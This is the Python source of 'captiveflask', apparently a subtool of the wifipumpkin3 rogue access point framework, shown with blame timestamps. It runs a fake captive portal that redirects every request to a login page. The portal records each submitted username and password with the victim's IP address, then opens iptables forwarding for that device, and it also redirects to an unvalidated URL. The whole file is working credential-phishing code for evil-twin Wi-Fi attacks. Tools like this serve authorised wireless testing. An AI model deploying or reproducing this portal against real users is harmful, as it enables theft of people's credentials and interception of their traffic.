wifipumpkin3/bin/captiveflask

93 lines
2.8 KiB
Plaintext
Raw Normal View History

from flask import Flask, request, redirect, render_template
2020-03-26 03:11:02 +00:00
from urllib.parse import urlencode, unquote
2020-04-12 23:26:30 +00:00
import os, sys
2020-03-26 03:11:02 +00:00
import subprocess
import argparse
2020-04-12 23:26:30 +00:00
# app = Flask(__name__,static_url_path='/templates/flask/static',
2020-03-26 03:11:02 +00:00
# static_folder='templates/flask/static',
# template_folder='templates/flask')
app = Flask(__name__)
2020-04-12 23:26:30 +00:00
2020-03-26 03:11:02 +00:00
def login_user(ip):
2020-04-12 23:26:30 +00:00
subprocess.call(
["iptables", "-t", "nat", "-I", "PREROUTING", "1", "-s", ip, "-j", "ACCEPT"]
)
subprocess.call(["iptables", "-I", "FORWARD", "-s", ip, "-j", "ACCEPT"])
2020-03-26 03:11:02 +00:00
2020-04-12 23:26:30 +00:00
@app.route("/login", methods=["GET", "POST"])
2020-03-26 03:11:02 +00:00
def login():
2020-04-12 23:26:30 +00:00
if (
request.method == "POST"
and "login" in request.form
and "password" in request.form
):
sys.stdout.write(
str(
{
request.remote_addr: {
"login": request.form["login"],
"password": request.form["password"],
}
}
)
)
2020-03-26 03:11:02 +00:00
sys.stdout.flush()
login_user(request.remote_addr)
2020-04-12 23:26:30 +00:00
if "orig_url" in request.args and len(request.args["orig_url"]) > 0:
return redirect(unquote(request.args["orig_url"]))
2020-03-26 03:11:02 +00:00
else:
2020-04-12 23:26:30 +00:00
return render_template("templates/login_successful.html")
2020-03-26 03:11:02 +00:00
else:
2020-04-12 23:26:30 +00:00
return render_template(
"templates/login.html",
orig_url=urlencode({"orig_url": request.args.get("orig_url", "")}),
)
2020-03-26 03:11:02 +00:00
2020-04-12 23:26:30 +00:00
@app.route("/favicon.ico")
2020-03-26 03:11:02 +00:00
def favicon():
2020-04-12 23:26:30 +00:00
return app.send_static_file("templates/favicon.ico")
2020-03-26 03:11:02 +00:00
2020-04-12 23:26:30 +00:00
@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
2020-03-26 03:11:02 +00:00
def catch_all(path):
global REDIRECT
2020-04-12 23:26:30 +00:00
return redirect(
"http://{}/login?".format(REDIRECT) + urlencode({"orig_url": request.url})
)
2020-03-26 03:11:02 +00:00
2020-04-12 23:26:30 +00:00
_version = "1.0.1"
2020-03-26 03:11:02 +00:00
if __name__ == "__main__":
2020-04-12 23:26:30 +00:00
print("[*] CaptiveFlask v{} - subtool from wifipumpkin3".format(_version))
parser = argparse.ArgumentParser(
description="CaptiveFlask - \
Server to create captive portal with flask\n doc: https://github.com/mh4x0f/captiveportals"
)
parser.add_argument(
"-t", "--tamplate", dest="template", help="path the theme login captive portal"
)
parser.add_argument(
"-s", "--static", dest="static", help="path of the static files from webpage"
)
parser.add_argument(
"-r",
"--redirect",
dest="redirect",
help="IpAddress from gataway captive portal",
)
parser.add_argument("-v", "--version", dest="version", help="show version the tool")
2020-03-26 03:11:02 +00:00
args = parser.parse_args()
REDIRECT = args.redirect
2020-04-12 23:26:30 +00:00
app.static_url_path = "\{}".format(args.static)
app.static_folder = "{}".format(args.static)
app.template_folder = args.template
app.run("0.0.0.0", port=80)